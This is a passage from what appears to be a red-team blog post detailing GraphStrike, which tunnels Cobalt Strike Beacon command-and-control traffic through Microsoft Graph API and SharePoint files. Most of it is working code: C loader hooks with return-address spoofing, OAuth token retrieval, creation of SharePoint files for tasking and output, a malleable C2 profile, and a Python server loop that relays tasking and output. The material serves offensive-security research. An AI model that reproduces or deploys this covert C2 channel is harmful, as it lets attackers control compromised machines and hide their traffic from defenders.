        HINTERNET hReq = ( HINTERNET )SPOOF( pMemAddrs->Api.net.HttpOpenRequestA, 
                                              pMemAddrs->Api.net.hNet, 
                                              pMemAddrs->Api.net.size, 
                                              hSite, 
                                              verb, 
                                              uri, 
                                              NULL, 
                                              NULL, 
                                              acceptTypes, 
                                              C_PTR( U_PTR( INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE ) ),
                                              0);

        if (hReq)
        {
            // Set headers + content length values
            DWORD headersLen = 0;
            DWORD contentLen = 0;
            if (headers != NULL)
                headersLen = (DWORD)pMemAddrs->Api.msvcrt.strlen(headers);
            if (content != NULL)
                contentLen = (DWORD)pMemAddrs->Api.msvcrt.strlen(content);

            // Send http request using specified headers and content
            if ((BOOL) U_PTR ( SPOOF( pMemAddrs->Api.net.HttpSendRequest, 
                                       pMemAddrs->Api.net.hNet, 
                                       pMemAddrs->Api.net.size, 
                                       C_PTR ( hReq ), 
                                       headers, 
                                       C_PTR ( U_PTR( headersLen ) ), 
                                       content, 
                                       C_PTR ( U_PTR ( contentLen ) ) ) 
                ) == TRUE)
            {
                // Allocate a buffer to receive response from server
                // This should really be allocated dynamically, but 5K is enough for the requests we are making.
                lpResult = pMemAddrs->Api.msvcrt.calloc(5000, sizeof(char));

                // Call InternetReadFile in a loop until we have read everything.  
                DWORD dwBytesRead = 0, currbytes_read;
                BOOL bKeepReading = TRUE;
                do
                {
                    bKeepReading = (BOOL) U_PTR ( SPOOF( pMemAddrs->Api.net.InternetReadFile, 
                                                          pMemAddrs->Api.net.hNet, 
                                                          pMemAddrs->Api.net.size, 
                                                          C_PTR ( hReq ), 
                                                          C_PTR ( lpResult + dwBytesRead ),
                                                          C_PTR ( U_PTR ( 5000 - dwBytesRead ) ), 
                                                          C_PTR ( U_PTR ( &currbytes_read ) ) ) );
                    dwBytesRead += currbytes_read;
                } while (bKeepReading && currbytes_read);
            }
            
            // Close handle to request
            SPOOF( pMemAddrs->Api.net.InternetCloseHandle, 
                    pMemAddrs->Api.net.hNet, 
                    pMemAddrs->Api.net.size, 
                    hReq );
        }

        // Close handle to site
        SPOOF( pMemAddrs->Api.net.InternetCloseHandle, 
                pMemAddrs->Api.net.hNet, 
                pMemAddrs->Api.net.size, 
                hSite);
    }

    return lpResult;
};

In the HttpOpenRequestA_Hook function I assembled the headers and content that access token requests require, and then called ‘MakeWebRequest’:

<code data-language="none">SECTION( D ) HINTERNET HttpOpenRequestA_Hook( HINTERNET hInternet, 
                                               LPCSTR lpszVerb, 
                                               LPCSTR lpszObjectName, 
                                               LPCSTR lpszVersion, 
                                               LPCSTR lpszReferrer, 
                                               LPCSTR *lplpszAcceptTypes,
                                               DWORD dwFlags, DWORD_PTR dwContext )
{
    HINTERNET       hResult = INVALID_HANDLE_VALUE;
    LARGE_INTEGER   currentTime, frequency;
    PVOID           verb, uri, tempUri, headers, content, response;
    size_t          reqSize;
    int             elapsedTime;
    CHAR            size[10] = {0};
    CHAR            id[100] = {0};

    ... Trimmed for Brevity ...

            // ------------------------------------ Get Access Token ---------------------------------------

            // Define headers to be used
            headers = C_PTR ( OFFSET ( "Host: login.microsoft.com\r\nContent-Type: application/x-www-form-urlencoded" ) );

            // Allocate and assemble uri
            reqSize = pMemAddrs->Api.msvcrt.strlen(TENANT_ID) + pMemAddrs->Api.msvcrt.strlen( C_PTR ( OFFSET ( "//oauth2/v2.0/token" ) ) ) + 1;
            tempUri = pMemAddrs->Api.msvcrt.calloc(reqSize, sizeof(char));
            pMemAddrs->Api.msvcrt.sprintf(tempUri, C_PTR ( OFFSET ( "/%s/oauth2/v2.0/token" ) ), TENANT_ID);

            // Allocate and assemble content
            reqSize = pMemAddrs->Api.msvcrt.strlen(APP_CLIENT_ID) + pMemAddrs->Api.msvcrt.strlen(APP_CLIENT_SECRET) + pMemAddrs->Api.msvcrt.strlen(GRAPH_ADDRESS) + 
                pMemAddrs->Api.msvcrt.strlen( C_PTR ( OFFSET ( "grant_type=client_credentials&client_id=&client_secret=&scope=https\%3A\%2F\%2F\%2F.default" ) ) ) + 1;
            content = pMemAddrs->Api.msvcrt.calloc(reqSize, sizeof(char));
            pMemAddrs->Api.msvcrt.sprintf(content, C_PTR ( OFFSET ( "grant_type=client_credentials&client_id=%s&client_secret=%s&scope=https%%3A%%2F%%2F%s%%2F.default" ) ), APP_CLIENT_ID, APP_CLIENT_SECRET, GRAPH_ADDRESS);

            // Make web request
            response = MakeWebRequest(pMemAddrs->hInternet, 
                                       C_PTR ( OFFSET ( "login.microsoft.com" ) ), 
                                       tempUri, 
                                       POST_VERB, 
                                       headers, 
                                       content, 
                                       pMemAddrs);
            if (!response)
                return INVALID_HANDLE_VALUE;  

            // Parse out returned auth token
            char* delimiter = C_PTR ( OFFSET ( "access_token\":\"" ) );
            char* accessToken = pMemAddrs->Api.msvcrt.strstr(response, delimiter) + pMemAddrs->Api.msvcrt.strlen(delimiter);

            // Null terminate accessToken to remove brackets and quotes
            pMemAddrs->Api.msvcrt.memset(accessToken + pMemAddrs->Api.msvcrt.strlen(accessToken) - 2, 0, 2);

    ... Trimmed for Brevity ...         
}

This technique fortunately proved entirely viable. At line 33 we assemble the content buffer by specifying the Azure app ID as well as the app client secret (which is again the app’s ‘password’). ‘MakeWebRequest’ is called at line 36 and returns the PVOID response variable, which contains the access token we require. Remember, this code resides in the HttpOpenRequestA_Hook function which is called each time Beacon starts a http-get cycle. This provides the opportunity to gate the ‘get access token’ code behind conditional requirements like “On the very first request you make, as well any time that it has been more than 3100 seconds since you last got an access token, run this code”. Being that Azure access tokens are good for 3600 seconds, we can ensure that Beacon will automatically retrieve a new access token in advance of when the old one expires.

Beacon Data and Profile Language

Those familiar with Cobalt Strike will know that Beacon is highly customizable via the malleable profile. The settings contained within it are propagated to all Beacons produced by the TS and control a wide range of behaviors. The ones we are concerned with at this stage are those related to how Beacon sends C2 traffic. This table of a Beacon HTTP Transaction sheds more light on what data is sent in each step of a transaction:

Request

Component

Block

Data

http-get

client

metadata

Session metadata

http-get

server

output

Beacon’s tasks

http-post

client

id

Session ID

http-post

client

output

Beacon’s responses

http-post

server

output

Empty

Beacon is the ‘client’ in the above chart. In summary, each http-get that Beacon makes must include session metadata about that Beacon/host/process (this is what populates the data in the Cobalt Strike client), and each http-post must include the Beacon’s session ID which is a unique multi-digit number. The TS uses this data from each respective request type in order to identify which Beacon is asking for tasking or sending output. Both ‘metadata’ and ‘id’ are required fields in a Cobalt Strike profile, and there are options as to how they should be sent in a http-get or http-post request. These options include sending the data as an additional header, as a parameter, or even appending it to the URI of the request. The Cobalt Strike manual describes these customization options further in the Data Transformation Language section:

Statement

What

header “header”

Store data in an HTTP header

parameter “key”

Store data in a URI parameter

print

Send data as a transaction body

uri-append

Append to URI

In contrast to Cobalt Strike profiles for traditional HTTP/HTTPS C2, the http-config, http-get, and http-post sections of the GraphStrike profile are very simplistic. As an example, no ‘header’ values are defined for use by Beacon in its requests because we must manually assemble the headers at runtime with the current access token. This minimalistic profile makes it easy to later manipulate Beacon data in the hooked functions set up by GraphLdr.

The http-config block isn’t even really required for GraphStrike, as it controls how the Cobalt Strike web server responds to requests. In the GraphStrike model the TS is actually responding to requests from the GraphStrike server, not Beacon, so all of this communication is done locally and doesn’t require any kind of stealth or sneakiness.

Looking at the http-get and http-post blocks, we can’t specify an actual real URI within the profile as each Beacon requires a unique one which we will be creating at runtime. Any extra, unrequired manipulation of the Beacon metadata or session ID is something we will have to contend with later on the GraphStrike server side, so we can keep it simple. The Beacon metadata is a binary blob, but we can base64url encode it so that it can be appended to the http-get request URI. The session ID can be appended to the http-post request URI without transformation.

In terms of TS tasking and Beacon output, when the TS has tasking for Beacon we specify that it should just ‘print’ it, or send it in the body of the response. We additionally don’t manipulate or obfuscate this data (which is just an encrypted binary blob). Similarly when Beacon has output from completed tasking, we will instruct it to ‘print’ that output and send it untransformed in the body of the http-post request. Taken all together, the http-get and http-post blocks of the GraphStrike profile may be seen below:

<code data-language="none">http-config {
    # This section all relates to how the Cobalt Strike web server responds.
    # It's all irrelevant for GraphStrike, since the TS is just responding to the GraphStrike server's requests.
    set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
    header "Server" "Apache";
    header "Keep-Alive" "timeout=10, max=100";
    header "Connection" "Keep-Alive";
}

http-get {

    # We just need our URI to be something unique and recognizable in order for GraphStrike to parse out values
    set uri "/_";
    set verb "GET";

    client {

        metadata {
            base64url;
            uri-append;
        }
    }

    server {

        output {   
            print;
        }
    }
}

http-post {

    # We just need our URI to be something unique and recognizable in order for GraphStrike to parse out values
    set uri "/-_";
    set verb "POST";

    client {
       
        id {
            uri-append;         
        }
              
        output {
            print;
        }
    }

    server {

        output {
            print;
        }
    }
}
C2lint can be used to visualize what Beacon’s pre-programmed http-get and http-post requests will look like:
GraphStrike Profile Http-Get and Http-Post Request Examples

GraphStrike Profile Http-Get and Http-Post Request Examples

Again, the default requests are very plain and un-obfuscated (not to mention non-functional for Graph API). By setting up the profile in this manner we are positioning ourselves to be able to parse and manipulate key data within our hooked functions. For example, by noting that the GET URI begins with “/_” and that the POST URI begins with “/-_”, we can simply trim these prepended identifiers off in order to access the Beacon metadata as well as the session ID. Example TS tasking (http-get block, blue) and Beacon output (http-post block, red) can be seen as the jibberish strings printed below the headers. Having made our important Beacon data easily accessible, it’s time to try and use it with SharePoint files.

 

Square Pegs and Round Holes

https://i.makeagif.com/media

https://i.makeagif.com/media

With our profile set up to make Beacon’s important data available to us, it is time to figure out how we can use Graph API and SharePoint files to:

  1. Create a unique file(s?) for this Beacon to use for its tasking and output.

  2. Communicate Beacon’s identifying information to the TS alongside the actual C2 data.

I’m compelled to reiterate that there are major conceptual differences between normal Cobalt Strike HTTPS communications and GraphStrike communications. To help illustrate this I’ll reuse and slightly modify a graphic from earlier:

Separate HTTPS Transactions in a Single Http-Get or Http-Post Cycle

Separate HTTPS Transactions in a Single Http-Get or Http-Post Cycle

Each red oval identifies a separate and completely independent HTTPS request; that is to say, there is no forwarding of requests happening here like is commonly done using a public redirector. Additionally instead of only the Beacon needing to reach out to the internet, in GraphStrike the server side of the equation must also reach out to fetch data. This results in there being no true synchronicity between Beacon and the TS. Each side sends data when it is available, and the other must continually check for / retrieve new data it is available. These factors in combination led me to use two SharePoint files for a single Beacon; one that the TS uploads tasking to and that Beacon downloads from, and one that Beacon uploads output to and that the GraphStrike server downloads from.

Two File Model Within SharePoint

Two File Model Within SharePoint

As mentioned before the TS tasking and Beacon output will be stored as the actual content of the SharePoint files, so we need to ‘label’ these files in such a way so as to communicate the associated Beacon metadata and session ID. It is helpful to look at the structure of the driveItem resource (driveItem is synonymous with ‘file’ for our purposes). Most of the properties of a driveItem are read-only, but there are a few that are modifiable that could serve our purposes. The most obvious and simple to use was the driveItem’s name, which is a user-supplied arbitrary string:

Name Property of the driveItem Resource

Name Property of the driveItem Resource

There is more that could be done in terms of evasion / avoiding IOC’s, but for the public release and for simplicity I opted to use Beacon’s base64url encoded metadata for the TS tasking file’s name. For the Beacon output file both the Beacon metadata AND the Beacon session ID are used, separated by a pre-defined delimiter (“pD9-tk”) so that we can parse the two values later. An example of each of these files in SharePoint is shown below:

Example TS Tasking and Beacon Output Files in SharePoint

Example TS Tasking and Beacon Output Files in SharePoint

For this particular Beacon the relevant information can be summarized as so:

Item

Value

TS Tasking File Name

AMFTYYnvh-NZ7q87nb32BV03vz-tP1vaoxmfdwKTeba6D7azteJONYntyP79j7L7-QWynYagPhJ0qgBk7albtTKi4tmJlfIBfcoVaHcmMehvzQcZar1OC1hQj64cXfBDSRs-u2Sp9P0GNglZejsQ7BcCA-3cirbd0wInvbhStW0

Beacon Output File Name

AMFTYYnvh-NZ7q87nb32BV03vz-tP1vaoxmfdwKTeba6D7azteJONYntyP79j7L7-QWynYagPhJ0qgBk7albtTKi4tmJlfIBfcoVaHcmMehvzQcZar1OC1hQj64cXfBDSRs-u2Sp9P0GNglZejsQ7BcCA-3cirbd0wInvbhStW0pD9-tK1123716960

Beacon Metadata

AMFTYYnvh-NZ7q87nb32BV03vz-tP1vaoxmfdwKTeba6D7azteJONYntyP79j7L7-QWynYagPhJ0qgBk7albtTKi4tmJlfIBfcoVaHcmMehvzQcZar1OC1hQj64cXfBDSRs-u2Sp9P0GNglZejsQ7BcCA-3cirbd0wInvbhStW0

Delimiter

pD9-tK

Beacon Session ID

1123716960

By organizing things this way we:

  1. Associate the required Beacon metadata and session ID with each http-get and http-post request.

  2. Can correlate TS tasking files and Beacon output files within SharePoint as belonging to the same Beacon (because the Beacon metadata is found in both file names).

To map this to Beacon’s HTTP transaction, Beacon will make it’s http-get requests to the TS tasking file to download the file contents. The server response to the http-get comes from Microsoft’s server that hosts the SharePoint file (NOT the TS) and contains the TS tasking which was previously uploaded by the GraphStrike server. Because the Beacon’s unique metadata is used as the name of the file, GraphStrike knows that all tasking for this specific Beacon as issued in Cobalt Strike should be uploaded here.

When Beacon has output from tasking, it initiates its http-post cycle in which it uploads the data to the Beacon output file. Beacon doesn’t actually do anything with or care about server output from http-post requests, so we can simply discard what Microsoft’s servers say in response to this request. The GraphStrike server can then download the data stored in the Beacon output file, find the Beacon session ID within the file name by splitting on the pre-defined delimiter, and then communicate this data to the TS for processing.

Beacon is of course responsible for creating both files within SharePoint because its metadata and session ID are determined at run time. The code to do so also resides in the HttpOpenRequestA_Hook function and is logically gated so that Beacon only creates new files in SharePoint once; the TS Tasking file is created during the first http-get cycle and the output file is made during the first http-post cycle.

TS tasking file creation:

... Trimmed for Brevity ...

// If this is the first GET request for the Beacon, we need to create the TS output file for the Beacon to read from. 
if (pMemAddrs->firstGet)
{
    // ------------------------------------ Upload new file for TS tasking ---------------------------------------
    
    // Assemble URI to create new file in SharePoint using the Beacon metadata as a name
    tempUri = C_PTR ( pMemAddrs->Api.msvcrt.calloc(1000, sizeof(char)) );
    LPCSTR fileName = pMemAddrs->Api.msvcrt.strstr(lpszObjectName, HTTP_GET_PREFIX ) + pMemAddrs->Api.msvcrt.strlen(HTTP_GET_PREFIX);
    pMemAddrs->Api.msvcrt.sprintf(tempUri, C_PTR ( OFFSET ( "%s/root:/%s:/content" ) ), SHAREPOINT_ADDRESS, fileName );

    // Store metaData to be used later to create the Beacon output channel as well 
    pMemAddrs->metaData = (char*)pMemAddrs->Api.msvcrt.calloc(pMemAddrs->Api.msvcrt.strlen(fileName) + 1, sizeof(char));
    pMemAddrs->Api.msvcrt.strcpy(pMemAddrs->metaData, fileName);

    response = MakeWebRequest(pMemAddrs->hInternet, GRAPH_ADDRESS, tempUri, PUT_VERB, pMemAddrs->httpPostHeaders, NULL, pMemAddrs );
    if (!response)
        return INVALID_HANDLE_VALUE;

    // Parse out fileId from response
    ParseValue((char*)response, (char*)C_PTR ( OFFSET ( "id\":\"" ) ), id, 100, FALSE, pMemAddrs);

    // Assemble httpGetUri that will be used for subsequent Beacon comms
    reqSize = pMemAddrs->Api.msvcrt.strlen(SHAREPOINT_ADDRESS) + pMemAddrs->Api.msvcrt.strlen(id) + pMemAddrs->Api.msvcrt.strlen(C_PTR ( OFFSET ( "/items//content" ) ) + 1);
    pMemAddrs->httpGetUri = pMemAddrs->Api.msvcrt.calloc(reqSize, sizeof(char));
    pMemAddrs->Api.msvcrt.sprintf(pMemAddrs->httpGetUri, C_PTR ( OFFSET ( "%s/items/%s/content") ), SHAREPOINT_ADDRESS, id);

    // Free buffers
    pMemAddrs->Api.msvcrt.free(response);
    pMemAddrs->Api.msvcrt.free(tempUri);

    // Toggle firstGet to false so we don't repeat this loop.
    pMemAddrs->firstGet = FALSE;
}

... Trimmed for Brevity ...
Beacon output file creation:
... Trimmed for Brevity ...

// If this is the first POST request for the Beacon, create the Beacon output file for the TS to read from.
if ( pMemAddrs->firstPost && !pMemAddrs->activeGet)
{        
    // ------------------------------------ Upload new file for Beacon output --------------------------------------- 

    // Assemble URI to create new file in SharePoint using the Beacon metadata + beaconId as a name.
    tempUri = C_PTR ( pMemAddrs->Api.msvcrt.calloc(1000, sizeof(char)) );
    LPCSTR beaconId = pMemAddrs->Api.msvcrt.strstr(lpszObjectName, HTTP_POST_PREFIX ) + pMemAddrs->Api.msvcrt.strlen(HTTP_POST_PREFIX);
    pMemAddrs->Api.msvcrt.sprintf(tempUri, C_PTR ( OFFSET ( "%s/root:/%s%s%s:/content" ) ), SHAREPOINT_ADDRESS, pMemAddrs->metaData, BID_DELIMITER, beaconId );

    // Send request
    response = MakeWebRequest(pMemAddrs->hInternet, GRAPH_ADDRESS, tempUri, PUT_VERB, pMemAddrs->httpPostHeaders, NULL, pMemAddrs ); 

    // Parse out fileId from response
    ParseValue((char*)response, (char*)C_PTR ( OFFSET ( "id\":\"" ) ), id, 100, FALSE, pMemAddrs);

    // Assemble httpPostUri that will be used for subsequent Beacon comms
    reqSize = pMemAddrs->Api.msvcrt.strlen(SHAREPOINT_ADDRESS) + pMemAddrs->Api.msvcrt.strlen(id) + pMemAddrs->Api.msvcrt.strlen(C_PTR ( OFFSET ( "/items//content" ) ) + 1);
    pMemAddrs->httpPostUri = pMemAddrs->Api.msvcrt.calloc(reqSize, sizeof(char));
    pMemAddrs->Api.msvcrt.sprintf(pMemAddrs->httpPostUri, C_PTR ( OFFSET ( "%s/items/%s/content") ), SHAREPOINT_ADDRESS, id);

    // Assemble httpPostCheckSizeUrl by trimming off "/content" from the end of the httpPostUri.
    int copyLen = (PVOID)(pMemAddrs->Api.msvcrt.strstr(pMemAddrs->httpPostUri, C_PTR ( OFFSET ( "/content" ) ))) - pMemAddrs->httpPostUri;
    pMemAddrs->httpPostCheckSizeUrl = pMemAddrs->Api.msvcrt.calloc(copyLen + 1, sizeof(char));
    pMemAddrs->Api.msvcrt.memcpy(pMemAddrs->httpPostCheckSizeUrl, pMemAddrs->httpPostUri, copyLen);

    // Free buffers
    pMemAddrs->Api.msvcrt.free(tempUri);
    pMemAddrs->Api.msvcrt.free(response);

    // Toggle firstPost to false so we don't repeat this loop.
    pMemAddrs->firstPost = FALSE; 
}

... Trimmed for Brevity ...

Both blocks perform similar actions, creating new files in SharePoint by using the previously discussed values to assemble the file names. After the request has been sent using ‘MakeWebRequest’, the newly created file’s SharePoint ID is parsed to be used in all subsequent requests made by Beacon. The ‘firstGet’ and ‘firstPost’ Booleans control whether these code blocks run or not, and are toggled from TRUE to FALSE when they do so that subsequent calls to HttpOpenRequestA_Hook don’t result in additional files being created.

Modifying API Call Parameters and Non-GraphStrike Beacons

This section is short and simple, but incredibly important. Many times I have mentioned that the IAT hooking implemented by AceLdr grants us the ability to tweak and twiddle with the parameters sent by Beacon to the hooked API. The implementation and impact of this ability can be seen in the below code snippet which is again from the HttpOpenRequestA_Hook function:

SECTION( D ) HINTERNET HttpOpenRequestA_Hook( HINTERNET hInternet, 
                                                LPCSTR lpszVerb, 
                                                LPCSTR lpszObjectName, 
                                                LPCSTR lpszVersion, 
                                                LPCSTR lpszReferrer, 
                                                LPCSTR *lplpszAcceptTypes, 
                                                DWORD dwFlags, 
                                                DWORD_PTR dwContext )
{
    HINTERNET       hResult = INVALID_HANDLE_VALUE;

    ... Trimmed for Brevity ...

    // Only run the following if this is a GraphStrike Beacon
    if (pMemAddrs->graphStrike)
    
        // Determine whether this call to HttpOpenRequestA is for a http-get or http-post request
        if (pMemAddrs->Api.msvcrt.strcmp(lpszVerb, C_PTR ( OFFSET ( "GET" ) ) ) == 0)
            pMemAddrs->activeGet = TRUE;
        else
            pMemAddrs->activeGet = FALSE;
            
        ... Trimmed for Brevity ...
        
        // Set verb and uri to be used with HttpOpenRequest call.
        // Must be done here so that httpGetUri + httpPostUri are populated first
        if ( pMemAddrs->activeGet)
        {            
            verb = GET_VERB;
            uri = pMemAddrs->httpGetUri;
        }
        else
        {
            verb = PUT_VERB;
            uri = pMemAddrs->httpPostUri;
        }

        // Finally send request.
        hResult =  ( HINTERNET )SPOOF( pMemAddrs->Api.net.HttpOpenRequestA,
                                        pMemAddrs->Api.net.hNet, 
                                        pMemAddrs->Api.net.size, 
                                        hInternet, 
                                        verb, 
                                        uri, 
                                        C_PTR( lpszVersion ), 
                                        C_PTR( lpszReferrer ), 
                                        C_PTR( lplpszAcceptTypes ), 
                                        C_PTR( U_PTR( dwFlags ) ), 
                                        C_PTR( U_PTR( dwContext ) ) );
    }

    // If not a GraphStrike Beacon, make a normal call to HttpOpenRequestA
    else
        hResult =  ( HINTERNET )SPOOF( pMemAddrs->Api.net.HttpOpenRequestA, 
                                        pMemAddrs->Api.net.hNet, 
                                        pMemAddrs->Api.net.size, 
                                        hInternet, 
                                        C_PTR( lpszVerb ), 
                                        C_PTR( lpszObjectName ), 
                                        C_PTR( lpszVersion ), 
                                        C_PTR( lpszReferrer ), 
                                        C_PTR( lplpszAcceptTypes ), 
                                        C_PTR( U_PTR( dwFlags ) ),
                                        C_PTR( U_PTR( dwContext ) ) );
                                        
    return hResult;
};

To walk through the code, at line 18 the “lpszVerb” variable which is passed to HttpOpenRequestA_Hook by Beacon is examined to determine whether this call to HttpOpenRequestA is part of a http-get or a http-post cycle. We set the verbs to be used for Beacon’s http-get and http-post requests in the profile, so we can tell based on which one Beacon is trying to use what kind of request this is. This determination is used on line 27, where the type of request dictates the ‘verb’ and ‘uri’ that are to be used as parameters in the real call to HttpOpenRequestA. This is where we take advantage of our control of Beacon’s supplied parameters, using the upload URI’s that were assembled back when we first created the files in SharePoint as well as substituting “PUT” for “POST” in http-post requests so that we can use Graph API’s Upload method. The real API is finally called at line 39, using our custom defined ‘verb’ and ‘uri’ parameters in place of the original ‘lpszVerb’ and ‘lpszObjectName’ parameters specified by Beacon.

GraphLdr also supports the use of normal Cobalt Strike HTTPS Beacons. All Beacons created by Cobalt Strike while ‘graphstrike.cna’ is imported will use GraphLdr as the Beacon UDRL, but we really only want to do all of the extra stuff in GraphLdr if the host set for this Beacon is ‘graph.microsoft.com’. Whether a Beacon is a GraphStrike or a standard HTTPS one is determined in the InternetConnectA_Hook function by examining the ‘lpszServerName’ parameter specified by Beacon. The result of this is later used at line 15 in the above snippet where we branch based on this Boolean. For normal HTTPS Beacons, the real API is called at line 54 using all of the original, unmodified parameters sent by Beacon (though we are still using AceLdr’s return address spoofing capability).


While GraphStrike supports using standard HTTPS Beacons alongside GraphStrike ones, the Cobalt Strike profile isn’t quite flexible enough yet to make this practical. The 4.9 release saw the addition of host profiles, but these only allow the customization of URI’s, headers, and parameters and do not yet support per-host specification of how Beacon metadata and session ID’s should be sent, nor how the TS should reply. This leads to standards HTTPS Beacons using the very un-obfuscated options for these values that were discussed earlier in the ‘Beacon Data and Profile Language’ section. I have spoken with the Cobalt Strike team about this issue and they hope to extend support for this level of customization some time in 2024.


Synchronizing the Asynchronous

I’ve talked at length about how GraphStrike’s communications model is inherently asynchronous and the challenges that come with it, but there is one more issue that must be discussed and mitigated. Beacon makes continued GET requests to the TS tasking file to download tasking, and the GraphStrike server similarly makes GET requests to the Beacon output file in order to download output; whatever is stored in that file, they will take and act on. This presents two problem scenarios:

  1. A command is issued in Cobalt Strike and uploaded to the TS tasking file. Beacon downloads the command, runs it, and then sends it’s output. When Beacon is done sleeping it again downloads from the TS tasking file and runs the same command because no additional command was issued by Cobalt Strike to “wipe” the tasking file.

  2. Either the Beacon or the GraphStrike server uploads to their respective files in SharePoint twice before the other party manages to download the data from the first upload. This results in data loss and breaks things like SOCKS proxying which is reliant on a back-and-forth sequential exchange of data.

Luckily a singular solution exists for both of these scenarios. When Beacon makes a GET request to the TS tasking file and data is returned, InternetReadFile is called repeatedly until there is no more data to be read. Of course because we have hooked this API, our custom function is called instead wherein we wait until we have read all of the response data before uploading a blank file to the TS tasking file. This can be seen at line 32 in the following snippet, where ‘MakeWebRequest’ is called. Notice the unique combination of the ‘httpGetUri’ and the ‘PUT_VERB’ being used together:

SECTION( D ) BOOL InternetReadFile_Hook( HINTERNET hFile, 
                                          LPVOID lpBuffer, 
                                          DWORD dwNumberOfBytesToRead, 
                                          LPDWORD lpdwNumberOfBytesRead )
{
    BOOL bResult = FALSE;

    // Resolve API's
    struct MemAddrs* pMemAddrs = *(struct MemAddrs**)((PMEMADDR) OFFSET ( MemAddr ) )->address;

    // Call InternetReadFile
    bResult = ( BOOL )U_PTR( SPOOF( pMemAddrs->Api.net.InternetReadFile, 
                                     pMemAddrs->Api.net.hNet, 
                                     pMemAddrs->Api.net.size, 
                                     hFile, 
                                     C_PTR ( lpBuffer ), 
                                     C_PTR( U_PTR ( dwNumberOfBytesToRead ) ), 
                                     C_PTR( U_PTR ( lpdwNumberOfBytesRead ) ) ) );

    // Only run the following if this is a GraphStrike Beacon
    if (pMemAddrs->graphStrike)
    {
        // If we are reading data from a GET request, set readTasking to TRUE
        if(pMemAddrs->activeGet && *lpdwNumberOfBytesRead > 0)
            pMemAddrs->readTasking = TRUE;

        // Beacon calls InternetReadFile until it reads 0 data. Once we are completely done reading output,
        // upload a blank file to the TS tasking file to signal server we are ready for more tasking.
        else if(pMemAddrs->readTasking && *lpdwNumberOfBytesRead == 0)
        {
            pMemAddrs->readTasking = FALSE;            
            LPVOID response = MakeWebRequest(pMemAddrs->hInternet, 
                                              GRAPH_ADDRESS, 
                                              pMemAddrs->httpGetUri, 
                                              PUT_VERB, 
                                              pMemAddrs->httpPostHeaders, 
                                              NULL, 
                                              pMemAddrs );
            if (response)
                pMemAddrs->Api.msvcrt.free(response);            
        }
    }

    return bResult;
};

This is contrary to the usual flow where Beacon only uploads to the Beacon output file, but by zeroing out the TS tasking file after we are done reading from it Beacon can signal to the GraphStrike server that it has received the last task and is ready for more. This also prevents Beacon from running the same command multiple times, as the next time Beacon checks in (even if say the GraphStrike server goes down or stops responding) it will interpret the blank TS tasking file as a “no tasking, check in next time” message and go back to sleep. The GraphStrike server’s logic pairs with this, waiting until it sees that Beacon has retrieved and zeroed the TS tasking file before it tries to send more.

The same dynamic exists in the Beacon output file. When the GraphStrike server detects that the Beacon output file has data it downloads the output and then uploads a blank file to zero out the file in SharePoint. Beacon makes an out-of-band request within HttpOpenRequestA_Hook each time a http-post cycle is detected to first check that the Beacon output file is blank / that the last output was received by the GraphStrike server before allowing Beacon to continue with uploading output. Taken together, this methodology mitigates both of the issues mentioned above.

 

The GraphStrike Server

The GraphStrike server’s job is to act as a shuttle or translator between the TS and Graph API. In comparison to what has been discussed thus far, the development process for this component was far simpler and smoother. First and foremost it didn’t need to be written as position independent C; it is written in Python for convenience. A close second is that we are no longer trying to manipulate, shortcut, and duct tape together an existing binary to make it do what we want but instead have total control over the program. While simpler, there are still a few things worth talking about.

When the server is started it fetches an access token for Graph API and then goes into an endless loop wherein it calls the ‘CheckBeacons’ function:

    # Call CheckBeacons continuously to service Beacon threads
    while(True):

        # Refresh access token if necessary
        currTime = time.time()
        if currTime > refreshTime:
             access_token, refreshTime = GetAccessToken()
        
        CheckBeacons()
        time.sleep(0.5)

‘CheckBeacons’ begins by making a Graph API request to fetch a list of ALL of the files stored in the specific SharePoint drive that is used for GraphStrike. Every file returned by this query is associated with a Cobalt Strike Beacon and is added to an internal data structure for tracking. Subsequent calls to CheckBeacons fetches this list again(this function runs every half second) and compares it against the data in its internal model; differences between the two serve as signals to the server that alters its behavior.

Each new file that appears in SharePoint represents a new Beacon entirely, or at least a new Beacon output file that is paired with an existing TS tasking file. A Beacon’s TS tasking file and Beacon output file are inherently linked, and server uses this relationship and the state of each file as part of its strategy for flow control. Some of this was discussed in the last section, in reference to waiting until Beacon has downloaded + zeroed out the tasking file before sending more tasking from the TS. Really all complexities found within the server concern the need to conform to the Beacon HTTP transaction lifecycle. Each Beacon that the server tracks has a number of associated variables that are updated, toggled, or referenced to facilitate this. Trying to follow all of these through code snippets is confusing even for me, so I’m opting to keep the details light.

The server starts a new thread for each unique TS tasking file that it finds; each one represents a Beacon. This thread runs the function ‘BeaconComms’ which is an endless loop facilitating communications for an individual Beacon:

  def BeaconComms(fileName):

    # Retrieve entry from dictionary
    comms = masterTracker[fileName]

    # Run in endless loop
    while True:

        # Block here depending on state of taskingReady event handler
        comms['taskingReady'].wait()
        
        # If killThread is true, a TS task has been queued for Beacon without it retrieving it for longer than
        # the allowed timeout and this BeaconComms channel has been signaled to exit to conserve resources.
        if comms['state'].state == 'timeout' and comms['killThread']:
            p_info(f"Beacon {comms['beaconId']}: timed out -> killing thread.")
            return

        # Send Beacon http-get to TS + return any tasking
        tasking = SendGetToTS(fileName, False)
        
        # If TS returned data, we need to upload it to the TS tasking file
        if len(tasking) > 0:
            UploadFile(fileName, tasking)

            # Clear taskingReady event handler so that we will block at the start of next loop until we see
            # that Beacon has received + cleared the TS tasking file
            comms['taskingReady'].clear()

        # Get current time before waiting for signal
        bt = datetime.datetime.now(datetime.timezone.utc)

        # Wait until we are signaled that Beacon has output, up to a max of the Beacon's sleep time
        comms['outputReady'].wait(comms['sleepTime'])

        # If the sleep ended because we were signaled, retrieve it and send to TS
        if comms['outputReady'].is_set():

            # If state is removing + killThread has been signaled, kill Beacon thread here.
            if (comms['state'].state == 'removing') and comms['killThread']:
                p_info(f"Beacon {comms['beaconId']}: removed from CS -> killing thread")
                return

            # Clear event handler so that we will block again in the future on this Beacon output file
            comms['outputReady'].clear()

            # Download the Beacon output file
            data = DownloadFile(comms['http-post'])

            # Zero out the Beacon output file to signal Beacon we have received the last
            UploadFile(comms['http-post'], str())

            # Send data to TS
            SendPostToTS(fileName, data)

            # If state is 'exiting' and killThread == True, we wait until here to kill Beacon thread so that
            # Beacon acknowledgement of exit is received + sent to TS
            if (comms['state'].state == 'exiting') and comms['killThread']:
                p_info(f"Beacon {comms['beaconId']}: exited gracefully -> killing thread")
                return

            # Get the current time after the wait has ended and calculate the difference 
            at = datetime.datetime.now(datetime.timezone.utc)
